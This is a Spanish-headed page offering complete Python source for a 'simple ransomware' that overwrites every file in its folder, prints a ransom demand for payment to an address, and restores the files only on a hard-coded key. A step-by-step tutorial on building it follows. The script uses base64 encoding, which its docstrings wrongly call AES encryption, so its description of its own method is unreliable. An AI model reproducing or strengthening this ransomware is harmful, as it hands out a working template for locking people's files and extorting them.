CÓDIGO RANSOMWARE:

#!/usr/bin/env python3

""" Implementation of simple ransomware in Python.

"""

import logging

import os

import sys

import base64

class Ransomware:

    """ This class represents file encrypting ransomware.

    """

    def \_\_init\_\_(self, name):

        self.\_name = name

    @property

    def name(self):

        """ Name of the malware. """

        return self.\_name

    @name.setter

    def name(self, new\_name):

        self.\_name = new\_name

    @property

    def key(self):

        """ Key used for encryption of data. """

        return "\_\_ransomware\_key"

    def obtain\_key(self):

        """ Obtain key from a user. """

        return input("Please enter a key: ")

    def ransom\_user(self):

        """ Inform user about encryption of his files. """

        print(

            "Hi, all your files has been encrypted. Please "

            "send 0.1 USD on this address to get decryption"

            " key: XYZ."

        )

    def encrypt\_file(self, filename):

        """ Encrypt the given file with AES encryption algoritm.

        :param str filename: Name of the file.

        """

        # Load the content of file.

        with open(filename, 'r') as file:

            content = file.read()

        # Encrypt the file content with base64.

        encrypted\_data = base64.b64encode(content.encode('utf-8'))

        # Rewrite the file with the encoded content.

        with open(filename, 'w') as file:

            file.write(encrypted\_data.decode('utf-8'))

    def decrypt\_file(self, key, filename):

        """ Decrypt the given file with AES encryption algoritm.

        :param str key: Decryption key.

        :param str filename: Name of the file.

        """

        # Load the content of file.

        with open(filename, 'r') as file:

            content = file.read()

        # Decrypt the file content.

        decrypted\_data = base64.b64decode(content)

        # Rewrite the file with the encoded content.

        with open(filename, 'w') as file:

            content = file.write(decrypted\_data.decode('utf-8'))

    def get\_files\_in\_folder(self, path):

        """ Returns a `list` of all files in the folder.

        :param str path: Path to the folder

        """

        # List the directory to get all files.

        files = []

        for file in os.listdir(path):

            # For the demostration purposes ignore README.md

            # from the repository and this file.

            if file == 'README.md' or file == sys.argv[0]:

                continue

            file\_path = os.path.join(path, file)

            if os.path.isfile(file\_path):

                files.append(file\_path)

        return files

    def encrypt\_files\_in\_folder(self, path):

        """ Encrypt all files in the given directory specified

        by path.

        :param str path: Path of the folder to be encrypted.

        :returns: Number of encrypted files (`int`).

        """

        num\_encrypted\_files = 0

        files = self.get\_files\_in\_folder(path)

        # Encrypt each file in the directory.

        for file in files:

            logging.debug('Encrypting file: {}'.format(file))

            self.encrypt\_file(file)

            num\_encrypted\_files += 1

        self.ransom\_user()

        return num\_encrypted\_files

    def decrypt\_files\_in\_folder(self, path):

        """ Decrypt all files in the given directory specified

        by path.

        :param str path: Path of the folder to be decrypted.

        """

        # Obtain a key from the user.

        key = self.obtain\_key()

        if key != self.key:

            print('Wrong key!')

            return

        files = self.get\_files\_in\_folder(path)

        # Decrypt each file in the directory.

        for file in files:

            self.decrypt\_file(key, file)

if \_\_name\_\_ == '\_\_main\_\_':

    logging.basicConfig(level=logging.DEBUG)

    # Create ransomware.

    ransomware = Ransomware('SimpleRansomware')

    # Encrypt files located in the same folder as our ransomware.

    path = os.path.dirname(os.path.abspath(\_\_file\_\_))

    number\_encrypted\_files = ransomware.encrypt\_files\_in\_folder(path)

    print('Number of encrypted files: {}'.format(number\_encrypted\_files))

    ransomware.decrypt\_files\_in\_folder(path)

**How does it work?**

* Firstly, we create our **ransomware** and give it a name.

ransomware = Ransomware('SimpleRansomware')

* Then we must **choose a folder** with files we want to encrypt. We call function *encrypt\_files\_in\_folder* that is provided by our **ransomware** and pass the path to the folder as an argument. This function returns the number encrypted files.

number\_encrypted\_files = ransomware.encrypt\_files\_in\_folder(path)

* The first thing that needs to be done is a lookup for all filenames in the same directory (function *get\_files\_in\_folder(path)*). This implementation ignores *README* files, because **ransomware** would encrypt also this file as well if you run it.
* Then we can simple encrypt each found file. The process of encryption is described below.
* for file in files:
* logging.debug('Encrypting file: {}'.format(file))

self.encrypt\_file(file)

* The encryption part is the most important. There are many ways of how to encrypt the files. Usually the encryption key would take a part in encryption as well (with much stronger encryption algorithm), but for demonstration we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). In this case we load the data from the file, encrypt them to base64 and then write them back to the file.
* # Load the content of file.
* with open(filename, 'r') as file:
* content = file.read()
* # Encrypt the file content with base64.
* encrypted\_data = base64.b64encode(content.encode('utf-8'))
* # Rewrite the file with the encoded content.
* with open(filename, 'w') as file:

file.write(encrypted\_data.decode('utf-8'))

* Once all files are encrypted, we can show our ransom message to the user, requesting money for the key.
* The decryption part is very similar to encryption. However, in this case we load the key and compare it with our default key \_\_ransomware\_key. If they are equal, we simply revert the previously done encryption. If the user enters a different key, the program ends and the files stay encrypted.
* # Obtain a key from the user.
* key = self.obtain\_key()
* if key != self.key:
* print('Wrong key!')
* return
* files = self.get\_files\_in\_folder(path)
* # Decrypt each file in the directory.
* for file in files:

self.decrypt\_file(key, file)